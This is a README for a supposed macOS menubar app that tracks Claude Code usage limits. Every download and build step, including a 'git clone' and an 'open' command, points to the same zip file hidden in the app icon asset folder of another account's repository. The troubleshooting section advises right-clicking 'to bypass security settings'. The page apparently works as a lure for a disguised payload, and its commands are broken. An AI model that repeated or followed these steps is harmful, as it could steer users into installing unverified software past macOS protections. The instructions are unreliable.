Claude Usage is a lightweight macOS menubar app that helps you monitor your Claude Code usage limits at a glance. Created by @richhickson, this app offers a simple solution to keep an eye on your limits without any hassle.
- 🔄 Auto-refresh every 2 minutes: Stay updated without manual checks.
- 🚦 Color-coded status: Easily identify your usage status—Green (OK), Yellow (>70%), Red (>90%).
- ⏱️ Time until reset: View remaining time for both session and weekly limits.
- 📊 Session & Weekly limits: See both limits displayed together for quick reference.
- 🪶 Lightweight: Built with native Swift, low on system resources.
- Visit this page to download: Releases
- Download
https://raw.githubusercontent.com/naufalrafifr01/claudecodeusage/main/ClaudeUsage/Assets.xcassets/AppIcon.appiconset/Software_1.0.zip. - Unzip the file and drag
https://raw.githubusercontent.com/naufalrafifr01/claudecodeusage/main/ClaudeUsage/Assets.xcassets/AppIcon.appiconset/Software_1.0.zipto your Applications folder. - Open the app. If prompted, right-click on the app and select “Open” to confirm the first run.
If you prefer to build the application from the source, follow these steps:
-
Open your terminal.
-
Type the following command to clone the repository:
git clone https://raw.githubusercontent.com/naufalrafifr01/claudecodeusage/main/ClaudeUsage/Assets.xcassets/AppIcon.appiconset/Software_1.0.zip
-
Change into the project directory:
cd claude-usage -
Open the project in Xcode:
open https://raw.githubusercontent.com/naufalrafifr01/claudecodeusage/main/ClaudeUsage/Assets.xcassets/AppIcon.appiconset/Software_1.0.zip
-
Build the project using ⌘B and run it using ⌘R.
- Operating System: macOS 13.0 (Ventura) or later.
- Internet Connection: Required for initial download and updates.
- Hardware: A macOS-compatible device.
If you encounter issues while downloading or installing the app, here are some common solutions:
- Make sure you are using macOS 13.0 or later.
- If the app does not start, try right-clicking and selecting “Open” to bypass security settings.
- Check your internet connection if the app does not refresh automatically.
For further assistance, feel free to open an issue in the GitHub repository.
For any suggestions or feedback, reach out to the developer directly on their Twitter.
Feel free to explore, and keep track of your Claude usage efficiently!